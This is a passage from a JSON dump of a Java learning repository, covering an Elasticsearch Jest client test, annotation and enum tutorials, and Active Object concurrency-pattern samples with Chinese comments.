}\n\n    public int getNumberOfShards() {\n        return numberOfShards;\n    }\n\n    /**\n     * 分片数\n     *\n     * @param numberOfShards 默认5\n     */\n    public void setNumberOfShards(int numberOfShards) {\n        this.numberOfShards = numberOfShards;\n    }\n\n    public int getNumberOfReplicas() {\n        return numberOfReplicas;\n    }\n\n    /**\n     * 副本数\n     *\n     * @param numberOfReplicas 默认1\n     */\n    public void setNumberOfReplicas(int numberOfReplicas) {\n        this.numberOfReplicas = numberOfReplicas;\n    }\n\n    public int getRefreshInterval() {\n        return refreshInterval;\n    }\n\n    public int getNumber_of_routing_shards() {\n        return number_of_routing_shards;\n    }\n\n    public void setNumber_of_routing_shards(int number_of_routing_shards) {\n        this.number_of_routing_shards = number_of_routing_shards;\n    }\n\n    public int getMaxResultWindow() {\n        return maxResultWindow;\n    }\n\n    public void setMaxResultWindow(int maxResultWindow) {\n        this.maxResultWindow = maxResultWindow;\n    }\n\n    /**\n     * 刷新频率 单位:秒\n     *\n     * @param refreshInterval 默认5秒 设置为-1为无限刷新\n     */\n    public void setRefreshInterval(int refreshInterval) {\n        if (refreshInterval < -1) {\n            refreshInterval = -1;\n        }\n        this.refreshInterval = refreshInterval;\n    }\n\n    public Map<String, Object> toDSL() {\n        Map<String, Object> json = new HashMap<>();\n        json.put(\"number_of_shards\", numberOfShards);\n        json.put(\"number_of_routing_shards\", number_of_routing_shards);\n        json.put(\"number_of_replicas\", numberOfReplicas);\n        json.put(\"refresh_interval\", refreshInterval + \"s\");\n        json.put(\"max_result_window\", maxResultWindow);\n        return json;\n    }\n\n    @Override\n    public String toString() {\n        return \"SettingEntity [numberOfShards=\" + numberOfShards + \", numberOfReplicas=\" + numberOfReplicas\n                + \", refreshInterval=\" + refreshInterval + \", maxResultWindow=\" + maxResultWindow + \"]\";\n    }\n\n}\n\nclass IpHandler {\n\n    private String ip;\n    private Integer port;\n    private static Pattern p = Pattern.compile(\"(?<=//|)((\\\\w)+\\\\.)+\\\\w+(:\\\\d{0,5})?\");\n\n    /**\n     * 冒号\n     */\n    private static final String COMMA_COLON = \":\";\n\n    /**\n     * 从url中分析出hostIP:PORT<br/>\n     *\n     * @param url\n     */\n    public void IpPortFromUrl(String url) {\n\n        String host = \"\";\n\n        Matcher matcher = p.matcher(url);\n        if (matcher.find()) {\n            host = matcher.group();\n        }\n        // 如果\n        if (host.contains(COMMA_COLON) == false) {\n            this.ip = host;\n            this.port = 80;\n        } else {\n            String[] ipPortArr = host.split(COMMA_COLON);\n            this.ip = ipPortArr[0];\n            this.port = Integer.valueOf(ipPortArr[1].trim());\n        }\n    }\n\n    public String getIp() {\n        return ip;\n    }\n\n    public Integer getPort() {\n        return port;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/elasticsearch/JestTest.java",
    "content": "package com.jun.plugin.elasticsearch;\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.elasticsearch.index.query.QueryBuilders;\nimport org.elasticsearch.search.builder.SearchSourceBuilder;\n\nimport io.searchbox.client.JestClient;\nimport io.searchbox.client.JestClientFactory;\nimport io.searchbox.client.JestResult;\nimport io.searchbox.client.config.HttpClientConfig;\nimport io.searchbox.core.Bulk;\nimport io.searchbox.core.BulkResult;\nimport io.searchbox.core.Delete;\nimport io.searchbox.core.DocumentResult;\nimport io.searchbox.core.Index;\nimport io.searchbox.core.Search;\nimport io.searchbox.indices.CreateIndex;\nimport io.searchbox.indices.DeleteIndex;\nimport io.searchbox.indices.mapping.GetMapping;\nimport io.searchbox.indices.mapping.PutMapping;\n\n/**\n * \n* @Title: JestTest\n* @Description: es 的  Jest 测试类\n* @Version:1.0.0  \n* @author pancm\n* @date 2019年2月28日\n */\npublic class JestTest {  \n\t    private static JestClient jestClient;  \n\t    private static String indexName = \"userindex\";  \n\t    private static String typeName = \"user\";  \n\t    private static String elasticIps=\"http://127.0.0.1:9200\";\n\t\t\n\t    \n\t    public static void main(String[] args) throws Exception {\n\t        jestClient = getJestClient();  \n\t        insertBatch();\n\t        serach1();\n\t        serach2();\n\t        serach3();\n\t        jestClient.close();  \n\t        \n\t\t}\n\t    \n\t    private static  JestClient getJestClient() {  \n\t    \tJestClientFactory factory = new JestClientFactory();  \n\t\t\tfactory.setHttpClientConfig(new HttpClientConfig.Builder(elasticIps).connTimeout(60000).readTimeout(60000).multiThreaded(true).build());  \n\t        return factory.getObject();  \n\t    }  \n\t    \n\t    public static void insertBatch() {\n\t\t\tList<Object> objs = new ArrayList<Object>();\n\t\t\tobjs.add(new User(1L, \"张三\", 20, \"张三是个Java开发工程师\",\"2018-4-25 11:07:42\"));\n\t\t\tobjs.add(new User(2L, \"李四\", 24, \"李四是个测试工程师\",\"1980-2-15 19:01:32\"));\n\t\t\tobjs.add(new User(3L, \"王五\", 25, \"王五是个运维工程师\",\"2016-8-21 06:11:32\"));\n\t\t\tboolean result = false;\n\t\t\ttry {\n\t\t\t\tresult = insertBatch(jestClient,indexName, typeName,objs);\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\tSystem.out.println(\"批量新增:\"+result);\n\t\t}\n\t    \n\t    \n\t    /**\n\t     * 全文搜索\n\t     */\n\t    public static void serach1() {\n\t\t\tString query =\"工程师\";\n\t\t\ttry {\n\t\t\t\tSearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); \n\t\t    \t searchSourceBuilder.query(QueryBuilders.queryStringQuery(query)); \n\t\t    \t //分页设置\n\t\t    \t searchSourceBuilder.from(0).size(2); \n\t\t        System.out.println(\"全文搜索查询语句:\"+searchSourceBuilder.toString());\n\t\t\t\tSystem.out.println(\"全文搜索返回结果:\"+search(jestClient,indexName, typeName, searchSourceBuilder.toString()));\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t    \n\t    /**\n\t     * 精确搜索\n\t     */\n\t    public static void serach2() {\n\t\t\ttry {\n\t\t\t\tSearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); \n\t\t    \tsearchSourceBuilder.query(QueryBuilders.termQuery(\"age\", 24)); \n\t\t    \tSystem.out.println(\"精确搜索查询语句:\"+searchSourceBuilder.toString());\n\t\t\t\tSystem.out.println(\"精确搜索返回结果:\"+search(jestClient,indexName, typeName, searchSourceBuilder.toString()));\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t    \n\t    \n\t    /**\n\t     * 区间搜索\n\t     */\n\t    public static void serach3() {\n\t\t\tString createtm=\"createtm\";\n\t\t\tString from=\"2016-8-21 06:11:32\";\n\t\t\tString to=\"2018-8-21 06:11:32\";\n\t\t\t\n\t\t\ttry {\n\t\t\t\tSearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); \n\t\t    \tsearchSourceBuilder.query(QueryBuilders.rangeQuery(createtm).gte(from).lte(to)); \n\t\t    \tSystem.out.println(\"区间搜索语句:\"+searchSourceBuilder.toString());\n\t\t\t\tSystem.out.println(\"区间搜索返回结果:\"+search(jestClient,indexName, typeName, searchSourceBuilder.toString()));\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t    \n\t    \n\t    /**\n\t     * 创建索引\n\t     * @param indexName\n\t     * @return\n\t     * @throws Exception\n\t     */\n\t    public boolean createIndex(JestClient jestClient,String indexName) throws Exception {  \n\t        JestResult jr = jestClient.execute(new CreateIndex.Builder(indexName).build());  \n\t        return jr.isSucceeded();  \n\t    }  \n\t      \n\t    /**\n\t     * 新增数据\n\t     * @param indexName\n\t     * @param typeName\n\t     * @param source\n\t     * @return\n\t     * @throws Exception\n\t     */\n\t    public boolean insert(JestClient jestClient,String indexName, String typeName, String source) throws Exception {  \n\t        PutMapping putMapping = new PutMapping.Builder(indexName, typeName, source).build();  \n\t        JestResult jr = jestClient.execute(putMapping);  \n\t        return jr.isSucceeded();  \n\t    }  \n\t      \n\t    \n\t     /**\n\t      * 查询数据\n\t      * @param indexName\n\t      * @param typeName\n\t      * @return\n\t      * @throws Exception\n\t      */\n\t    public static String getIndexMapping(JestClient jestClient,String indexName, String typeName) throws Exception {  \n\t        GetMapping getMapping = new GetMapping.Builder().addIndex(indexName).addType(typeName).build();  \n\t        JestResult jr =jestClient.execute(getMapping);  \n\t        return jr.getJsonString();  \n\t     }  \n\t      \n\t    \n\t    \n\t   /**\n\t    * 批量新增数据\n\t    * @param indexName\n\t    * @param typeName\n\t    * @param objs\n\t    * @return\n\t    * @throws Exception\n\t    */\n\t    public static boolean insertBatch(JestClient jestClient,String indexName, String typeName, List<Object> objs) throws Exception {  \n\t        Bulk.Builder bulk = new Bulk.Builder().defaultIndex(indexName).defaultType(typeName);  \n\t        for (Object obj : objs) {  \n\t            Index index = new Index.Builder(obj).build();  \n\t             bulk.addAction(index);  \n\t        }  \n\t        BulkResult br = jestClient.execute(bulk.build());  \n\t        return br.isSucceeded();  \n\t       }  \n\t      \n\t    /**\n\t     * 全文搜索\n\t     * @param indexName\n\t     * @param typeName\n\t     * @param query\n\t     * @return\n\t     * @throws Exception\n\t     */\n\t    public static String search(JestClient jestClient,String indexName, String typeName, String query) throws Exception {  \n\t    \t Search search = new Search.Builder(query)\n\t    \t .addIndex(indexName)\n\t    \t .addType(typeName)  \n\t    \t .build(); \n\t        JestResult jr = jestClient.execute(search);  \n//\t        System.out.println(\"--\"+jr.getJsonString());\n//\t        System.out.println(\"--\"+jr.getSourceAsObject(User.class));\n\t        return jr.getSourceAsString();  \n\t     }  \n\t      \n\t      \n\t    \n\t   \n\t      \n\t   /**\n\t    * 删除索引\n\t    * @param indexName\n\t    * @return\n\t    * @throws Exception\n\t    */\n\t    public boolean delete(JestClient jestClient,String indexName) throws Exception {  \n\t        JestResult jr = jestClient.execute(new DeleteIndex.Builder(indexName).build());  \n\t        return jr.isSucceeded();  \n\t    }  \n\t      \n\t   /**\n\t    * 删除数据\n\t    * @param indexName\n\t    * @param typeName\n\t    * @param id\n\t    * @return\n\t    * @throws Exception\n\t    */\n\t    public boolean delete(JestClient jestClient,String indexName, String typeName, String id) throws Exception {  \n\t        DocumentResult dr = jestClient.execute(new Delete.Builder(id).index(indexName).type(typeName).build());  \n\t        return dr.isSucceeded();  \n\t    }  \n\t      \n}\n\n\n class User implements Serializable{\n\t /**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\t/** 编号 */\n\t private Long id;\n\t /** 姓名 */\n\t private String name;\n\t \n\t /** 年龄 */\n\t private Integer age;\n\t \n\t /** 描述 */  \n\t private String description;\n\t \n\t /** 创建时间 */\n\t private String createtm;\n\t \n\t \n\t public User(){\n\t }\n\n\t \n\t \n\t \n\tpublic User(Long id, String name, Integer age, String description, String createtm) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t\tthis.description = description;\n\t\tthis.createtm = createtm;\n\t}\n\n\n\n\n\t/**  \n\t * 获取编号  \n\t * @return  id  \n\t */\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\n\t/**  \n\t * 设置编号  \n\t * @param Long id  \n\t */\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\n\t/**  \n\t * 获取姓名  \n\t * @return  name  \n\t */\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\n\t/**  \n\t * 设置姓名  \n\t * @param String name  \n\t */\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\n\t/**  \n\t * 获取年龄  \n\t * @return  age  \n\t */\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\n\n\t/**  \n\t * 设置年龄  \n\t * @param Integer age  \n\t */\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n\n\n\t/**  \n\t * 获取描述  \n\t * @return  description  \n\t */\n\tpublic String getDescription() {\n\t\treturn description;\n\t}\n\n\n\t/**  \n\t * 设置描述  \n\t * @param String description  \n\t */\n\tpublic void setDescription(String description) {\n\t\tthis.description = description;\n\t}\n\n\n\t/**  \n\t * 获取创建时间  \n\t * @return  createtm  \n\t */\n\tpublic String getCreatetm() {\n\t\treturn createtm;\n\t}\n\n\n\t/**  \n\t * 设置创建时间  \n\t * @param String createtm  \n\t */\n\tpublic void setCreatetm(String createtm) {\n\t\tthis.createtm = createtm;\n\t}\n\n\n\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"User [id=\" + id + \", name=\" + name + \", age=\" + age + \", description=\" + description + \", createtm=\"\n\t\t\t\t+ createtm + \"]\";\n\t}\n\t \n\t\n\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/elasticsearch/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: es 相关测试类\n* @Version:1.0.0  \n* @author pancm\n* @date 2019年2月28日\n*/\npackage com.jun.plugin.elasticsearch;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/annotation/AnnotationDefineForTestFunction.java",
    "content": "package com.jun.plugin.javase.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * 定义annotation\n * \n */\n// 加载在VM中，在运行时进行映射\n@Retention(RetentionPolicy.RUNTIME)\n// 限定此annotation只能标示方法\n@Target(ElementType.METHOD)\npublic @interface AnnotationDefineForTestFunction {\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/annotation/RequestForEnhancement.java",
    "content": "package com.jun.plugin.javase.annotation;\n\npublic @interface RequestForEnhancement {\n\tint id();\n\n\tString synopsis();\n\n\tString engineer() default \"[unassigned]\";\n\n\tString date() default \"[unimplemented]\";\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/annotation/UsingAnnotation.java",
    "content": "package com.jun.plugin.javase.annotation;\n\nimport java.lang.reflect.Method;\n\n/**\n * 一个实例程序应用前面定义的Annotation：AnnotationDefineForTestFunction\n * \n * @author Wujun\n * \n */\npublic class UsingAnnotation {\n\t@AnnotationDefineForTestFunction\n\tpublic static void method01() {\n\t}\n\n\tpublic static void method02() {\n\t}\n\n\t@AnnotationDefineForTestFunction\n\tpublic static void method03() {\n\t\tthrow new RuntimeException(\"method03\");\n\t}\n\n\tpublic static void method04() {\n\t\tthrow new RuntimeException(\"method04\");\n\t}\n\n\tpublic static void main(String[] argv) throws Exception {\n\t\tint passed = 0, failed = 0;\n\t\t// 被检测的类名\n\t\tString className = \"com.ketayao.learn.javase.annotation.UsingAnnotation\";\n\t\t// 逐个检查此类的方法，当其方法使用annotation声明时调用此方法\n\t\tfor (Method m : Class.forName(className).getMethods()) {\n\t\t\tif (m.isAnnotationPresent(AnnotationDefineForTestFunction.class)) {\n\t\t\t\ttry {\n\t\t\t\t\tm.invoke(null);\n\t\t\t\t\tpassed++;\n\t\t\t\t} catch (Throwable ex) {\n\t\t\t\t\tSystem.out.printf(\"测试 %s 失败: %s %n\", m, ex.getCause());\n\t\t\t\t\tfailed++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.printf(\"测试结果：通过: %d, 失败： %d%n\", passed, failed);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/annotation/UsingBuiltInAnnotation.java",
    "content": "package com.jun.plugin.javase.annotation;\n\nimport java.util.List;\n\npublic class UsingBuiltInAnnotation {\n\t// 食物类\n\tclass Food {\n\t}\n\n\t// 干草类\n\tclass Hay extends Food {\n\t}\n\n\t// 动物类\n\tclass Animal {\n\t\tFood getFood() {\n\t\t\treturn null;\n\t\t}\n\n\t\t// 使用Annotation声明Deprecated方法\n\t\t@Deprecated\n\t\tvoid deprecatedMethod() {\n\t\t}\n\t}\n\n\t// 马类-继承动物类\n\tclass Horse extends Animal {\n\t\t// 使用Annotation声明覆盖方法\n\t\t@Override\n\t\tHay getFood() {\n\t\t\treturn new Hay();\n\t\t}\n\n\t\t// 使用Annotation声明禁止警告\n\t\t@SuppressWarnings({ \"deprecation\", \"unchecked\" })\n\t\tvoid callDeprecatedMethod(List horseGroup) {\n\t\t\tAnimal an = new Animal();\n\t\t\tan.deprecatedMethod();\n\t\t\thorseGroup.add(an);\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/Action.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic enum Action {\n\tTURN_LEFT, TURN_RIGHT, SHOOT\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/DetailActioin2.java",
    "content": "package com.jun.plugin.javase.enums;\n\n/**\n * 枚举类型既然是类，那么也就可以有构造函数。只不过不得有公开(Public)的构造函数，这是为了避免直接对枚举类型实例化。\n */\npublic enum DetailActioin2 {\n\tTURN_LEFT(\"向左转\"), TURN_RIGHT(\"向右转\"), SHOOT(\"射击\");\n\n\tprivate String description;\n\n\t// 不公开的构造函数\n\tprivate DetailActioin2(String description) {\n\t\tthis.description = description;\n\t}\n\n\tpublic String getDescription() {\n\t\treturn description;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/DetailAction.java",
    "content": "package com.jun.plugin.javase.enums;\n\n/**\n *定义枚举类型其实就是在定义一个类，只不过很多细节由编译器帮你补齐了，所以，某种程度上enum关键词的作用就像是class或interface.\n\n   当使用enum定义枚举类型时，实际上所定义出来的类型是继承自java.lang.Enum类。而每个被枚举的成员其实就是定义的枚举类型的一个实例，\n   它们都被默认为final。无法改变常数名称所设定的值，它们也是public和static的成员，这与接口中的常量限制相同。可以通过类名称直接使用它们。\n   如1中所定义的枚举类型Action,TURN_LEFT,TURN_RIGHT,SHOOT都是Action的一个对象实例。因为是对象，所以，对象上自然有一些方法可以调用。\n   如从Object继承焉的toString()方法被重新定义了，可以让你直接取得枚举值的字符串描述；values()方法可以让您取得所有的枚举成员实例，\n   并以数组方式返回。您可以使用这两个方法来简单的将Action的枚举成员显示出来。静态valueOf()方法可以让您将指定的字符串尝试转换为枚举类型。\n   可以用compareTo()方法来比较两个枚举对象在枚举时的顺序。-1之前，0位置相同，1之后。\n   \n   对于每个枚举成员，使用ordinal()方法，依枚举顺序得到位置索引，默认以0开始。\n\n * @author Wujun\n * @since   2013年9月9日 下午5:24:43\n */\npublic enum DetailAction {\n\tTURN_LEFT, TURN_RIGHT, SHOOT;\n\n\tpublic String getDescription() {\n\t\tswitch (this.ordinal()) {\n\t\tcase 0:\n\t\t\treturn \"向左转\";\n\t\tcase 1:\n\t\t\treturn \"向右转\";\n\t\tcase 2:\n\t\t\treturn \"射击\";\n\t\tdefault:\n\t\t\treturn null;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/DetailActionDemo.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class DetailActionDemo {\n\tpublic static void main(String[] args) {\n\t\tfor (DetailAction action : DetailAction.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/EnumDemo.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class EnumDemo {\n\tpublic static void main(String[] args) {\n\t\tdoAction(Action.TURN_RIGHT);\n\t}\n\n\tpublic static void doAction(Action action) {\n\t\tswitch (action) {\n\t\tcase TURN_LEFT:\n\t\t\tSystem.out.println(\"向左转\");\n\t\t\tbreak;\n\t\tcase TURN_RIGHT:\n\t\t\tSystem.out.println(\"向右转\");\n\t\t\tbreak;\n\t\tcase SHOOT:\n\t\t\tSystem.out.println(\"射击\");\n\t\t\tbreak;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/EnumDemo2.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class EnumDemo2 {\n\tprivate enum InnerAction {\n\t\tTURN_LEFT, TURN_RIGHT, SHOOT\n\t};\n\n\tpublic static void main(String[] args) {\n\t\tdoAction(InnerAction.TURN_RIGHT);\n\t}\n\n\tpublic static void doAction(InnerAction action) {\n\t\tswitch (action) {\n\t\tcase TURN_LEFT:\n\t\t\tSystem.out.println(\"向左转\");\n\t\t\tbreak;\n\t\tcase TURN_RIGHT:\n\t\t\tSystem.out.println(\"向右转\");\n\t\t\tbreak;\n\t\tcase SHOOT:\n\t\t\tSystem.out.println(\"射击\");\n\t\t\tbreak;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/IDescription.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic interface IDescription {\n\tpublic String getDescription();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/MoreAction.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic enum MoreAction implements IDescription {\n\tTURN_LEFT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向左转\";\n\t\t}\n\n\t}, // 注意这里的枚举值分隔使用,\n\n\tTURN_RIGHT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向右转\";\n\t\t}\n\t}, // 注意这里的枚举值分隔使用,\n\n\tSHOOT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"射击\";\n\t\t}\n\t}; // 注意这里的枚举值结束使用;\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/MoreAction2.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic enum MoreAction2 {\n\tTURN_LEFT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向左转\";\n\t\t}\n\t}, // 记得这里的枚举值分隔使用,\n\n\tTURN_RIGHT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向右转\";\n\t\t}\n\t},\n\n\tSHOOT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"射击\";\n\t\t}\n\t}; // 记得这里的枚举值结束使用;\n\n\t// 声明抽象方法\n\tpublic abstract String getDescription();\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/MoreActionDemo.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class MoreActionDemo {\n\tpublic static void main(String[] args) {\n\t\tfor (MoreAction action : MoreAction.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/MoreActionDemo2.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class MoreActionDemo2 {\n\tpublic static void main(String[] args) {\n\t\tfor (MoreAction2 action : MoreAction2.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/javase/enums/Singleton.java",
    "content": "package com.jun.plugin.javase.enums;\n\npublic class Singleton {\n\t// 构造函数私有，只限内部调用\n\tprivate Singleton() {\n\t};\n\n\tprivate static Singleton instance = null;\n\n\tpublic static synchronized Singleton getInstance() {\n\t\tif (instance == null)\n\t\t\tinstance = new Singleton();\n\t\treturn instance;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/DisplayClientThread.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample;\n\nimport com.jun.plugin.jdk.ActiveObject.Sample.activeobject.ActiveObject;\n\n\npublic class DisplayClientThread extends Thread {\n    private final ActiveObject activeObject;\n    public DisplayClientThread(String name, ActiveObject activeObject) {\n        super(name);\n        this.activeObject = activeObject;\n    }\n    public void run() {\n        try {\n            for (int i = 0; true; i++) {\n                // 没有传回值的呼叫\n                String string = Thread.currentThread().getName() + \" \" + i;\n                activeObject.displayString(string);\n                Thread.sleep(200);\n            }\n        } catch (InterruptedException e) {\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/Main.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample;\n\nimport com.jun.plugin.jdk.ActiveObject.Sample.activeobject.ActiveObject;\nimport com.jun.plugin.jdk.ActiveObject.Sample.activeobject.ActiveObjectFactory;\n\npublic class Main {\n    public static void main(String[] args) {\n        ActiveObject activeObject = ActiveObjectFactory.createActiveObject();\n        new MakerClientThread(\"Alice\", activeObject).start();\n        new MakerClientThread(\"Bobby\", activeObject).start();\n        new DisplayClientThread(\"Chris\", activeObject).start();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/MakerClientThread.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample;\n\nimport com.jun.plugin.jdk.ActiveObject.Sample.activeobject.ActiveObject;\nimport com.jun.plugin.jdk.ActiveObject.Sample.activeobject.Result;\n\n\npublic class MakerClientThread extends Thread {\n    private final ActiveObject activeObject;\n    private final char fillchar;\n    public MakerClientThread(String name, ActiveObject activeObject) {\n        super(name);\n        this.activeObject = activeObject;\n        this.fillchar = name.charAt(0);\n    }\n    public void run() {\n        try {\n            for (int i = 0; true; i++) {\n                // 没有传回值的呼叫\n                Result result = activeObject.makeString(i, fillchar);\n                Thread.sleep(10);\n                String value = (String)result.getResultValue();\n                System.out.println(Thread.currentThread().getName() + \": value = \" + value);\n            }\n        } catch (InterruptedException e) {\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/ActivationQueue.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass ActivationQueue {\n    private static final int MAX_METHOD_REQUEST = 100;\n    private final MethodRequest[] requestQueue;\n    private int tail;  // 下一個putRequest的地方\n    private int head;  // 下一個takeRequest的地方\n    private int count; // MethodRequest的數量\n\n    public ActivationQueue() {\n        this.requestQueue = new MethodRequest[MAX_METHOD_REQUEST];\n        this.head = 0;\n        this.tail = 0;\n        this.count = 0;\n    }\n    public synchronized void putRequest(MethodRequest request) {\n        while (count >= requestQueue.length) {\n            try {\n                wait();\n            } catch (InterruptedException e) {\n            }\n        }\n        requestQueue[tail] = request;\n        tail = (tail + 1) % requestQueue.length;\n        count++;\n        notifyAll();\n    }\n    public synchronized MethodRequest takeRequest() {\n        while (count <= 0) {\n            try {\n                wait();\n            } catch (InterruptedException e) {\n            }\n        }\n        MethodRequest request = requestQueue[head];\n        head = (head + 1) % requestQueue.length;\n        count--;\n        notifyAll();\n        return request;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/ActiveObject.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\npublic interface ActiveObject {\n    public abstract Result makeString(int count, char fillchar);\n    public abstract void displayString(String string);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/ActiveObjectFactory.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\npublic class ActiveObjectFactory {\n    public static ActiveObject createActiveObject() {\n        Servant servant = new Servant();\n        ActivationQueue queue = new ActivationQueue();\n        SchedulerThread scheduler = new SchedulerThread(queue);\n        Proxy proxy = new Proxy(scheduler, servant);\n        scheduler.start();\n        return proxy;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/DisplayStringRequest.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass DisplayStringRequest extends MethodRequest {\n    private final String string;\n    public DisplayStringRequest(Servant servant, String string) {\n        super(servant, null);\n        this.string = string;\n    }\n    public void execute() {\n        servant.displayString(string);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/FutureResult.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass FutureResult extends Result {\n    private Result result;\n    private boolean ready = false;\n    public synchronized void setResult(Result result) {\n        this.result = result;\n        this.ready = true;\n        notifyAll();\n    }\n    public synchronized Object getResultValue() {\n        while (!ready) {\n            try {\n                wait();\n            } catch (InterruptedException e) {\n            }\n        }\n        return result.getResultValue();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/MakeStringRequest.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass MakeStringRequest extends MethodRequest {\n    private final int count;\n    private final char fillchar;\n    public MakeStringRequest(Servant servant, FutureResult future, int count, char fillchar) {\n        super(servant, future);\n        this.count = count;\n        this.fillchar = fillchar;\n    }\n    public void execute() {\n        Result result = servant.makeString(count, fillchar);\n        future.setResult(result);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/MethodRequest.java",
